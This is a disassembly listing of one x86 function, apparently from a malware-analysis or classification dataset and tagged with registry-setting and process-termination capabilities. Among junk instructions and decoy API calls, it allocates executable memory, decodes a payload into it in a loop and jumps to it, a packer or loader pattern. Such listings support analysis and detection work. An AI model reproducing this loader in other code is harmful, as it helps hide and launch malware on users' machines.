Function at 0x479000
Capabilities:
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1e4
jbe 0x479012
cld
and eax, dword [ebp - 0x120]
sub dword [ebp - 0x118], eax
cld
and dword [ebp - 0x98], 0xbe77
inc dword [ebp - 0x100]
f2xm1
cmp edx, 0xfc10
jae 0x47904f
dec dword [ebp - 0x80]
and dword [ebp - 0x100], 0x847f
and dword [ebp - 0x18], 0xea07
and dword [ebp - 0x30], 0x9031
dec ecx
push ebx
cmp ecx, 0x4e3
jg 0x479061
not edx
adc eax, ecx
and ecx, eax
dec dword [ebp - 0x34]
cmp eax, 0x5d0d
jg 0x479073
cld
sub edx, 0x7b5c
dec ecx
not dword [ebp - 0x4c]
push esi
cmp eax, 0x4096
jbe 0x479091
add dword [ebp - 0x48], 0x348d
add eax, edx
xor eax, 0xb464
inc edx
or ebx, 0x5cbd
cld
push edi
jl 0x4790a1
sub edx, esi
cld
dec esi
xor esi, dword [ebp - 0x114]
xor ebx, eax
inc ebx
sub dword [ebp - 0x88], 0xa3b3
not dword [ebp - 0x8c]
xor edx, dword [ebp - 0x48]
and dword [ebp - 0x40], ebx
test ecx, ecx
jg 0x4790d7
xor dword [ebp - 0x118], esi
xor dword [ebp - 0xa8], 0x2959
and ecx, edi
cld
cld
and edi, edx
dec dword [ebp - 0x1bc]
test ecx, ecx
jl 0x4790e4
add edi, esi
xor eax, dword [ebp - 0x140]
dec ebx
cmp ecx, 0xf229
jae 0x479100
not dword [ebp - 0x9c]
not eax
not edx
add edx, esi
and esi, edi
or edx, 0x1be7
cmp ecx, 0x32ca
jbe 0x479132
or esi, edi
cld
cld
and dword [ebp - 0x138], edi
adc dword [ebp - 0xf4], 0x8d1d
or dword [ebp - 0xdc], 0xbd7c
or dword [ebp - 0xd0], 0x7df3
xor edx, edi
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
not ecx
adc ecx, edx
test esi, esi
ja 0x479154
cld
not dword [ebp - 0x78]
not eax
xor esi, 0x780d
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetICMProfileW]
dec edx
inc dword [ebp - 0x148]
sub edx, dword [ebp - 0x154]
adc dword [ebp - 0xa4], edi
add esi, ecx
xor dword [ebp - 0x130], 0x8aad
adc ecx, 0x590b
test eax, eax
je 0x4791a8
and dword [ebp - 0x64], 0x3e63
add dword [ebp - 0x50], 0x3e23
not edx
add dword [ebp - 0x198], esi
inc ebx
or ebx, ecx
inc edi
adc eax, 0x7ab8
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_AreAnyAccessesGranted]
sub edx, edx
push edx
push edx
push edx
push edx
push edx
push edx
push edx
push edx
push edx
push edx
push edx
push edx
call dword [sym.imp.GDI32.dll_SetDIBitsToDevice]
push 0
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
cmp eax, 0xc939
jne 0x4791e2
adc ebx, esi
xor ecx, 0xab3a
inc edx
sub eax, ecx
adc ecx, eax
push 0
push 0
call dword [sym.imp.GDI32.dll_SetICMMode]
jae 0x4791f7
dec esi
cld
or dword [ebp - 0x70], 0x522a
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CheckColorsInGamut]
not esi
and edx, ecx
adc ecx, ebx
and edx, 0x6229
jl 0x479230
or eax, 0x79c8
or esi, 0xe875
add edi, 0xfe11
adc ebx, 0xdf7
or edx, dword [ebp - 0x148]
sub ecx, ecx
push ecx
push ecx
push ecx
call dword [sym.imp.GDI32.dll_GetEnhMetaFileHeader]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
sub ecx, ecx
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push 0
push 0
push 0
push 0
or ecx, edx
inc dword [ebp - 0xb8]
adc dword [ebp - 0x158], 0x7048
not dword [ebp - 0x9c]
call dword [sym.imp.GDI32.dll_GetCharWidthW]
mov eax, dword [esp - 0x20]
and dword [ebp - 0x13c], 0x723c
jmp 0x4792a3
mov dword [ebp - 0xec], eax
not esi
dec edx
not edi
inc edx
cld
cld
cld
not ecx
adc dword [ebp - 0x14], esi
push 0x40
and ecx, esi
cmp eax, 0xe2d
jl 0x4792d2
adc ebx, dword [ebp - 0xe8]
sub ecx, 0x278e
not ebx
adc edi, ebx
jae 0x4792e3
not edx
dec dword [ebp - 0x1c4]
xor dword [ebp - 0x6c], 0x7df1
push 0x1000
adc edi, ebx
sub edx, ebx
inc dword [ebp - 0x28]
push 0xd117
not edx
xor dword [ebp - 4], 0x7d75
add eax, 0xaf6f
and ebx, 0x74ac
push 0
dec dword [ebp - 0xd4]
and esi, edx
inc edi
not dword [ebp - 0xb0]
dec dword [ebp - 0xa0]
not dword [ebp - 0xb4]
sub dword [ebp - 0x194], ebx
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
mov dword [ebp - 0x44], eax
cmp edx, edi
jg 0x479348
dec dword [ebp - 0xc]
add edi, 0x7dd7
and edx, 0x23ec
inc eax
not eax
or dword [ebp - 0xf0], ebx
cmp ebx, 0x164d
jb 0x479371
sub dword [ebp - 8], 0xb032
not dword [ebp - 0x1a0]
inc dword [ebp - 0x18c]
sub ecx, 0xdc8f
add dword [ebp - 0x10c], ecx
not dword [ebp - 0xb8]
inc dword [ebp - 0x104]
not dword [ebp - 0x8c]
cmp dword [ebp - 0xec], 3
je 0x47942e
add ebx, 0x7c26
inc dword [ebp - 0x90]
sub dword [ebp - 0x184], ecx
cmp ecx, ebx
jl 0x4793b9
adc edx, ebx
sub eax, 0xb6c0
sub ebx, 0x3a8b
je 0x4793cc
add dword [ebp - 0x108], 0x8761
cld
not dword [ebp - 0x1cc]
dec esi
dec ebx
jmp 0x4793ea
not dword [ebp - 0xac]
sub dword [ebp - 0x1bc], 0x488e
cld
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
mov dword [ebp - 0x1d8], 0
cmp edi, 0x3a
jg 0x47944b
adc ebx, 0x5729
xor ecx, 0x8dc2
xor ebx, eax
jmp 0x479459
mov dword [ebp - 0x68], 0x8f582d41
or esi, edx
mov dword [ebp - 0x1b4], 0xec9ebc70
test esi, esi
jl 0x479474
cld
inc dword [ebp - 0x2c]
mov dword [ebp - 0x1a4], 0x44a1a7
dec ecx
cmp eax, 0xa28f
ja 0x479490
inc dword [ebp - 0x1a0]
not eax
add edx, esi
mov eax, dword [ebp - 0x1a4]
test edx, edx
je 0x4794b0
adc ecx, 0x95e6
add dword [ebp - 0xc], 0x8a27
not edx
cld
inc dword [ebp - 0xf8]
cmp edx, ebx
jbe 0x4794e2
not edx
adc edx, edi
not dword [ebp - 0xdc]
adc dword [ebp - 0x17c], edx
xor dword [ebp - 0xb0], ecx
adc dword [ebp - 0x24], 0x6b98
or dword [ebp - 8], 0x59e2
sub dword [ebp - 0xfc], 0x7c54
cmp edx, ecx
je 0x479501
add dword [ebp - 0x6c], edi
or ebx, edx
adc dword [ebp - 0xbc], edx
cld
dec dword [ebp - 0x180]
sub edx, dword [ebp - 0xcc]
add edx, dword [ebp - 0x64]
add eax, dword [ebp - 0x1d8]
cld
adc ebx, edi
add edx, edi
dec edx
cld
mov eax, dword [eax]
jmp 0x479520
not dword [ebp - 0x10]
and dword [ebp - 0xfc], 0x69e3
adc edx, 0x9174
test ebx, ebx
jb 0x47955b
or edx, ebx
adc dword [ebp - 0x134], 0xf46e
sub edx, 0x189
adc dword [ebp - 0x9c], edi
dec dword [ebp - 0x140]
add dword [ebp - 0x110], edi
add eax, dword [ebp - 0x68]
sub dword [ebp - 0x18c], 0x161
inc dword [ebp - 0x120]
not dword [ebp - 0x158]
adc ecx, 0xb595
inc ecx
inc dword [ebp - 0x118]
not dword [ebp - 0x90]
mov esi, dword [ebp - 0x44]
cld
and edx, ebx
inc dword [ebp - 0x194]
adc ebx, edi
add esi, dword [ebp - 0x1d8]
sub ebx, edx
or ecx, edi
xor dword [ebp - 0x11c], 0xdc9c
dec edx
add edi, ebx
cmp ebx, 0x254f
jg 0x4795c1
dec dword [ebp - 0xcc]
or edx, dword [ebp - 0x190]
dec ecx
mov dword [esi], eax
add ecx, 0xdc82
and ecx, 0x26e5
sub ebx, ecx
inc ecx
inc edx
add dword [ebp - 0x14], edx
or ecx, ebx
mov edx, dword [ebp - 0x1b4]
jmp 0x4795f8
cmp edi, esi
jbe 0x479603
cld
xor dword [ebp - 0xc8], eax
add esi, 0x508b
add dword [ebp - 0x68], edx
cld
and ebx, esi
add ecx, edi
cmp dword [ebp - 0xec], 3
jne 0x47962f
add dword [ebp - 0x1b4], 0x27906967
or ebx, 0x6dd2
cld
sub ecx, edx
not ebx
add dword [ebp - 0x1d8], 4
cmp edx, ecx
jne 0x479665
adc eax, dword [ebp - 0x138]
sub edi, dword [ebp - 0x124]
adc dword [ebp - 0xe8], 0xfee6
adc dword [ebp - 0x1c], eax
and dword [ebp - 0x188], 0x3b5
xor edx, eax
adc ecx, 0x8e1b
jg 0x479680
and ecx, 0x457c
add dword [ebp - 0xc4], edx
inc dword [ebp - 0x174]
dec eax
adc esi, 0xbc37
jmp 0x47969e
cmp dword [ebp - 0x1d8], 0x17e0
jne 0x479490
cmp esi, 0x91d5
jae 0x4796e0
dec dword [ebp - 0xf8]
dec dword [ebp - 0x188]
cld
and dword [ebp - 0x1c4], 0xd548
or edi, ebx
dec esi
sub edi, 0xd09d
or dword [ebp - 0x130], 0x67a2
cld
xor edi, 0x273d
add ebx, 0x2c4d
or dword [ebp - 0x14c], 0x15cb
xor ecx, 0xa5b9
dec dword [ebp - 0x14c]
mov esi, dword [ebp - 0x44]
cmp ecx, edi
jb 0x479718
inc dword [ebp - 0x138]
xor edi, ebx
dec dword [ebp - 0x9c]
add ecx, 0xd27a
add esi, 0xb5e
cmp ecx, edx
jae 0x47973b
not ebx
and eax, ecx
cld
adc eax, 0x6d16
sub dword [ebp - 0x18], edx
cld
adc eax, 0xa807
and ecx, eax
inc ecx
adc ebx, edi
add edi, 0x3c47
add eax, edi
sub dword [ebp - 0x80], 0x508c
call esi
test edx, edx
je 0x47976d
not dword [ebp - 0x60]
sub eax, dword [ebp - 0xa4]
and dword [ebp - 0xc], 0x7e2f
or ebx, dword [ebp - 0x104]
cld
cld
leave
ret 0xc